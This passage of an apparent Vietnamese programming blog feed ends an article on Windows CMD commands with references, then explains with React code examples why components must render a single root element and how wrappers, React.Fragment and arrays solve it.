1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Lời kết</h2> <p>Trên đây là các câu lệnh thường dùng trên CMD của Windows. Ngoài ra, nếu bạn thường sử dụng những câu lệnh nào khác, hoặc có câu lệnh nào chưa hiểu rõ thì có thể hỏi mình ở phần bình luận phía dưới. Mình sẽ cố gắng giải đáp khi có thể.</p> <p>Cuối cùng, xin chào và hẹn gặp lại bạn trong bài viết tiếp theo, thân ái!</p> <h2 id="tham-khảo" style="position:relative;"><a href="#tham-kh%E1%BA%A3o" aria-label="tham khảo permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Tham khảo</h2> <ul> <li><a href="https://ss64.com/nt/">An A-Z Index of the Windows CMD command line</a></li> <li><a href="https://quantrimang.com/nhung-lenh-dos-pho-bien-trong-cmd-118351">Tổng hợp những lệnh Run CMD thông dụng</a></li> </ul>[email protected]<![CDATA[Tại sao React yêu cầu render single DOM element?]]><![CDATA[Khi viết code React, chắc hẳn đã ít nhất một lần bạn gặp phải lỗi liên quan đến việc React yêu cầu render single DOM element. Lúc này, cách giải quyết đơn giản nhất là bạn đóng gói…]]>https://completejavascript.com/react-render-single-dom-element/https://completejavascript.com/react-render-single-dom-element/Thu, 02 Aug 2018 23:00:23 GMT<p>Khi viết code <a href="/react/">React</a>, chắc hẳn đã ít nhất một lần bạn gặp phải lỗi liên quan đến việc React yêu cầu render single <a href="/co-ban-ve-dom-javascript/">DOM</a> element. Lúc này, cách giải quyết đơn giản nhất là bạn đóng gói các element bởi một cặp thẻ <strong>div</strong> bên ngoài.</p> <p>Tuy nhiên, đã bao giờ bạn tự hỏi lý do thực sự là do đâu? Liệu đây có phải đây là <a href="/debug-javascript-de-hay-kho/">bug</a> của React? Cách giải quyết lỗi này như thế nào? Và việc đóng gói các element vào thẻ <strong>div</strong> như trên có ưu, nhược điểm gì?</p> <p>Bài viết này mình sẽ cố gắng giúp bạn giải đáp những thắc mắc trên. Mời bạn theo dõi bài viết!</p> <h2 id="tại-sao-phải-render-single-dom-element" style="position:relative;"><a href="#t%E1%BA%A1i-sao-ph%E1%BA%A3i-render-single-dom-element" aria-label="tại sao phải render single dom element permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Tại sao phải render single DOM element?</h2> <p>Giả sử mình có một component bị <strong>sai</strong> như sau:</p> <div class="gatsby-highlight" data-language="jsx"><pre class="language-jsx"><code class="language-jsx"><span class="token keyword">class</span> <span class="token class-name">App</span> <span class="token keyword">extends</span> <span class="token class-name">React<span class="token punctuation">.</span>Component</span> <span class="token punctuation">{</span> <span class="token function">render</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">return</span> <span class="token punctuation">(</span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>div</span><span class="token punctuation">></span></span><span class="token plain-text"> Type: Dog </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>div</span><span class="token punctuation">></span></span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>div</span><span class="token punctuation">></span></span><span class="token plain-text"> Type: Cat </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>div</span><span class="token punctuation">></span></span> <span class="token punctuation">)</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span></code></pre></div> <p>Phần render trên mình sử dụng <a href="https://reactjs.org/docs/jsx-in-depth.html">JSX</a> để định nghĩa component. Tuy nhiên, đây chỉ là "syntactic sugar" cho phương thức <a href="https://reactjs.org/docs/react-api.html#createelement">React.createElement(component, props, ...children)</a> mà thôi.</p> <p>Do đó, đoạn code trên sẽ tương đương với đoạn code sau:</p> <div class="gatsby-highlight" data-language="jsx"><pre class="language-jsx"><code class="language-jsx"><span class="token keyword">class</span> <span class="token class-name">App</span> <span class="token keyword">extends</span> <span class="token class-name">React<span class="token punctuation">.</span>Component</span> <span class="token punctuation">{</span> <span class="token function">render</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">return</span> <span class="token punctuation">(</span> React<span class="token punctuation">.</span><span class="token function">createElement</span><span class="token punctuation">(</span><span class="token string">'div'</span><span class="token punctuation">,</span> <span class="token keyword">null</span><span class="token punctuation">,</span> <span class="token string">'Type: Dog'</span><span class="token punctuation">)</span> React<span class="token punctuation">.</span><span class="token function">createElement</span><span class="token punctuation">(</span><span class="token string">'div'</span><span class="token punctuation">,</span> <span class="token keyword">null</span><span class="token punctuation">,</span> <span class="token string">'Type: Cat'</span><span class="token punctuation">)</span> <span class="token punctuation">)</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span></code></pre></div> <p>Trong đoạn code trên, mỗi hàm <strong>React.createElement</strong> sẽ trả về một React Element. Nghĩa là hàm <strong>render()</strong> của class <em>App</em> sẽ trả về đồng thời về 2 element.</p> <p>Điều này là hoàn toàn không thể với <a href="/ham-la-gi-ham-trong-javascript/">hàm</a> trong JavaScript nói riêng và bất kỳ một ngôn ngữ lập trình nào khác nói chung, chứ không phải chỉ có React.</p> <p>Ví dụ như mình viết một hàm bằng JavaScript thuần sau:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">const</span> <span class="token function-variable function">func</span> <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token parameter">x<span class="token punctuation">,</span> y</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span> <span class="token keyword">return</span> <span class="token punctuation">(</span>x <span class="token operator">+</span> y<span class="token punctuation">)</span><span class="token punctuation">(</span>x <span class="token operator">-</span> y<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">;</span></code></pre></div> <p>Hàm <em>func</em> trên là một <a href="/phan-biet-arrow-function-va-function-trong-javascript/">arrow function</a> - return đồng thời <em>(x + y)</em> và <em>(x - y)</em>. Và dĩ nhiên là nó sẽ bị thông báo lỗi.</p> <p>Nói tóm lại, việc React yêu cầu render single DOM element là bắt buộc, chứ không phải do bug của React.</p> <h2 id="một-số-cách-giải-quyết-vấn-đề-render-single-dom-element" style="position:relative;"><a href="#m%E1%BB%99t-s%E1%BB%91-c%C3%A1ch-gi%E1%BA%A3i-quy%E1%BA%BFt-v%E1%BA%A5n-%C4%91%E1%BB%81-render-single-dom-element" aria-label="một số cách giải quyết vấn đề render single dom element permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Một số cách giải quyết vấn đề render single DOM element?</h2> <p>Để giải quyết vấn đề trên, mình thấy có 4 cách như dưới đây.</p> <h3 id="sử-dụng-thêm-một-thẻ-để-đóng-gói-các-elements" style="position:relative;"><a href="#s%E1%BB%AD-d%E1%BB%A5ng-th%C3%AAm-m%E1%BB%99t-th%E1%BA%BB-%C4%91%E1%BB%83-%C4%91%C3%B3ng-g%C3%B3i-c%C3%A1c-elements" aria-label="sử dụng thêm một thẻ để đóng gói các elements permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Sử dụng thêm một thẻ để đóng gói các Elements</h3> <p>Đây là cách đơn giản nhất mà hầu như ai cũng có thể nghĩ đến đầu tiên. Đó là sử dụng một thẻ để đóng gói các Elements lại.</p> <p>Khi đó, đoạn code bên trên trở thành:</p> <div class="gatsby-highlight" data-language="jsx"><pre class="language-jsx"><code class="language-jsx"><span class="token keyword">class</span> <span class="token class-name">App</span> <span class="token keyword">extends</span> <span class="token class-name">React<span class="token punctuation">.</span>Component</span> <span class="token punctuation">{</span> <span class="token function">render</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">return</span> <span class="token punctuation">(</span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>div</span> <span class="token attr-name">className</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>app<span class="token punctuation">"</span></span><span class="token punctuation">></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>div</span><span class="token punctuation">></span></span><span class="token plain-text"> Type: Dog </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>div</span><span class="token punctuation">></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>div</span><span class="token punctuation">></span></span><span class="token plain-text"> Type: Cat </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>div</span><span class="token punctuation">></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>div</span><span class="token punctuation">></span></span> <span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span></code></pre></div> <p>Rõ ràng, hàm <em>render()</em> trên chỉ return về một React Element duy nhất - thẻ div với <em>className="app"</em>.</p> <h3 id="sử-dụng-reactfragment" style="position:relative;"><a href="#s%E1%BB%AD-d%E1%BB%A5ng-reactfragment" aria-label="sử dụng reactfragment permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Sử dụng React.Fragment</h3> <p>Giả sử mình sửa lại đoạn code trên một chút thành:</p> <div class="gatsby-highlight" data-language="jsx"><pre class="language-jsx"><code class="language-jsx"><span class="token keyword">class</span> <span class="token class-name">App</span> <span class="token keyword">extends</span> <span class="token class-name">React<span class="token punctuation">.</span>Component</span> <span class="token punctuation">{</span> <span class="token function">render</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">return</span> <span class="token punctuation">(</span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>div</span> <span class="token attr-name">className</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>app<span class="token punctuation">"</span></span><span class="token punctuation">></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>p</span><span class="token punctuation">></span></span><span class="token plain-text">Animals:</span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>p</span><span class="token punctuation">></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>div</span><span class="token punctuation">></span></span><span class="token plain-text">Type: Dog</span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>div</span><span class="token punctuation">></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>div</span><span class="token punctuation">></span></span><span class="token plain-text">Type: Cat</span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>div</span><span class="token punctuation">></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>div</span><span class="token punctuation">></span></span> <span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span></code></pre></div> <p>Sau đó, mình refactor lại code một chút bằng cách tách 2 thẻ div liên quan đến <strong>Dog</strong> và <strong>Cat</strong> ra một Components mới là <strong>Animals</strong> (việc mình refactor như sau chỉ vì mục đích minh họa):</p> <div class="gatsby-highlight" data-language="jsx"><pre class="language-jsx"><code class="language-jsx"><span class="token keyword">const</span> <span class="token function-variable function">Animals</span> <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span> <span class="token keyword">return</span> <span class="token punctuation">(</span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>div</span><span class="token punctuation">></span></span><span class="token plain-text">Type: Dog</span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>div</span><span class="token punctuation">></span></span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>div</span><span class="token punctuation">></span></span><span class="token plain-text">Type: Cat</span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>div</span><span class="token punctuation">></span></span> <span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token keyword">class</span> <span class="token class-name">App</span> <span class="token keyword">extends</span> <span class="token class-name">React<span class="token punctuation">.</span>Component</span> <span class="token punctuation">{</span> <span class="token function">render</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">return</span> <span class="token punctuation">(</span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>div</span> <span class="token attr-name">className</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>app<span class="token punctuation">"</span></span><span class="token punctuation">></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>p</span><span class="token punctuation">></span></span><span class="token plain-text">Animals:</span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>p</span><span class="token punctuation">></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span><span class="token class-name">Animals</span></span> <span class="token punctuation">/></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>div</span><span class="token punctuation">></span></span> <span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span></code></pre></div> <p>Tuy nhiên, đến đây thì element <em>Animals</em> lại bị lỗi liên quan đến việc render single DOM element như mình đã nói. Và nếu lại sử dụng cách trên thì đoạn code này trở thành:</p> <div class="gatsby-highlight" data-language="jsx"><pre class="language-jsx"><code class="language-jsx"><span class="token keyword">const</span> <span class="token function-variable function">Animals</span> <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span> <span class="token keyword">return</span> <span class="token punctuation">(</span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>div</span><span class="token punctuation">></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>div</span><span class="token punctuation">></span></span><span class="token plain-text">Type: Dog</span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>div</span><span class="token punctuation">></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>div</span><span class="token punctuation">></span></span><span class="token plain-text">Type: Cat</span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>div</span><span class="token punctuation">></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>div</span><span class="token punctuation">></span></span> <span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token keyword">class</span> <span class="token class-name">App</span> <span class="token keyword">extends</span> <span class="token class-name">React<span class="token punctuation">.</span>Component</span> <span class="token punctuation">{</span> <span class="token function">render</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">return</span> <span class="token punctuation">(</span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>div</span> <span class="token attr-name">className</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>app<span class="token punctuation">"</span></span><span class="token punctuation">></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>p</span><span class="token punctuation">></span></span><span class="token plain-text">Animals:</span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>p</span><span class="token punctuation">></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span><span class="token class-name">Animals</span></span> <span class="token punctuation">/></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>div</span><span class="token punctuation">></span></span> <span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span></code></pre></div> <p>Về cơ bản thì code đã hết lỗi rồi. Tuy nhiên, nó lại <strong>nảy sinh ra một vấn đề khác</strong>. Đó là đoạn code cuối cùng so với đoạn code ban đầu đã xuất hiện thêm một cặp thẻ <strong>div</strong> không mong muốn.</p> <div class="gatsby-highlight" data-language="html"><pre class="language-html"><code class="language-html"><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>div</span> <span class="token attr-name">className</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>app<span class="token punctuation">"</span></span><span class="token punctuation">></span></span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>p</span><span class="token punctuation">></span></span>Animals:<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>p</span><span class="token punctuation">></span></span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>div</span><span class="token punctuation">></span></span> <span class="token comment">&lt;!-- Thẻ div không mong muốn --></span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>div</span><span class="token punctuation">></span></span>Type: Dog<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>div</span><span class="token punctuation">></span></span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>div</span><span class="token punctuation">></span></span>Type: Cat<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>div</span><span class="token punctuation">></span></span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>div</span><span class="token punctuation">></span></span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>div</span><span class="token punctuation">></span></span></code></pre></div> <p>Để giải quyết vấn đề này, bạn có thể sử dụng <a href="https://reactjs.org/docs/fragments.html">React.Fragment</a> như sau:</p> <div class="gatsby-highlight" data-language="jsx"><pre class="language-jsx"><code class="language-jsx"><span class="token keyword">const</span> <span class="token function-variable function">Animals</span> <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span> <span class="token keyword">return</span> <span class="token punctuation">(</span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span><span class="token class-name">React.Fragment</span></span><span class="token punctuation">></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>div</span><span class="token punctuation">></span></span><span class="token plain-text">Type: Dog</span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>div</span><span class="token punctuation">></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>div</span><span class="token punctuation">></span></span><span class="token plain-text">Type: Cat</span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>div</span><span class="token punctuation">></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span><span class="token class-name">React.Fragment</span></span><span class="token punctuation">></span></span> <span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token keyword">class</span> <span class="token class-name">App</span> <span class="token keyword">extends</span> <span class="token class-name">React<span class="token punctuation">.</span>Component</span> <span class="token punctuation">{</span> <span class="token function">render</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">return</span> <span class="token punctuation">(</span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>div</span> <span class="token attr-name">className</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>app<span class="token punctuation">"</span></span><span class="token punctuation">></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>p</span><span class="token punctuation">></span></span><span class="token plain-text">Animals:</span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>p</span><span class="token punctuation">></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span><span class="token class-name">Animals</span></span> <span class="token punctuation">/></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>div</span><span class="token punctuation">></span></span> <span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span></code></pre></div> <p>Với cách này thì vừa giúp không bị lỗi liên quan đến render single DOM element, mà kết quả cuối cùng lại không bị xuất hiện thêm một thẻ div không mong muốn.</p> <h3 id="sử-dụng-" style="position:relative;"><a href="#s%E1%BB%AD-d%E1%BB%A5ng-" aria-label="sử dụng permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Sử dụng &#x3C;>&#x3C;/></h3> <p>Ngoài việc sử dụng <em>React.Fragment</em> như trên, bạn có thể sử dụng cặp <strong>&#x3C;>&#x3C;/></strong> với kết quả hoàn toàn tương đương nhau:</p> <div class="gatsby-highlight" data-language="jsx"><pre class="language-jsx"><code class="language-jsx"><span class="token keyword">const</span> <span class="token function-variable function">Animals</span> <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span> <span class="token keyword">return</span> <span class="token punctuation">(</span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span></span><span class="token punctuation">></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>div</span><span class="token punctuation">></span></span><span class="token plain-text">Type: Dog</span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>div</span><span class="token punctuation">></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>div</span><span class="token punctuation">></span></span><span class="token plain-text">Type: Cat</span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>div</span><span class="token punctuation">></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span></span><span class="token punctuation">></span></span> <span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token keyword">class</span> <span class="token class-name">App</span> <span class="token keyword">extends</span> <span class="token class-name">React<span class="token punctuation">.</span>Component</span> <span class="token punctuation">{</span> <span class="token function">render</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">return</span> <span class="token punctuation">(</span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>div</span> <span class="token attr-name">className</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>app<span class="token punctuation">"</span></span><span class="token punctuation">></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>p</span><span class="token punctuation">></span></span><span class="token plain-text">Animals:</span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>p</span><span class="token punctuation">></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span><span class="token class-name">Animals</span></span> <span class="token punctuation">/></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>div</span><span class="token punctuation">></span></span> <span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span></code></pre></div> <p><strong>Chú ý:</strong> Đây chỉ là một <strong>cú pháp rút gọn</strong> cho React.Fragment chứ không phải một cách hoàn toàn khác.</p> <h3 id="render-một-mảng-các-elements" style="position:relative;"><a href="#render-m%E1%BB%99t-m%E1%BA%A3ng-c%C3%A1c-elements" aria-label="render một mảng các elements permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Render một mảng các Elements</h3> <p>Ngoài cách làm trên ra, mình mới biết thêm một cách làm khác có vẻ ít dùng hơn. Đó là hàm render sẽ trả về một <a href="/array-la-gi-array-trong-javascript/">mảng</a> các Elements như sau:</p> <div class="gatsby-highlight" data-language="jsx"><pre class="language-jsx"><code class="language-jsx"><span class="token keyword">const</span> <span class="token function-variable function">Animals</span> <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span> <span class="token keyword">return</span> <span class="token punctuation">[</span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>div</span><span class="token punctuation">></span></span><span class="token plain-text">Type: Dog</span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>div</span><span class="token punctuation">></span></span><span class="token punctuation">,</span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>div</span><span class="token punctuation">></span></span><span class="token plain-text">Type: Cat</span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>div</span><span class="token punctuation">></span></span><span class="token punctuation">]</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token keyword">class</span> <span class="token class-name">App</span> <span class="token keyword">extends</span> <span class="token class-name">React<span class="token punctuation">.</span>Component</span> <span class="token punctuation">{</span> <span class="token function">render</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">return</span> <span class="token punctuation">(</span> <span class="token tag"><span class="token tag"><span class="token 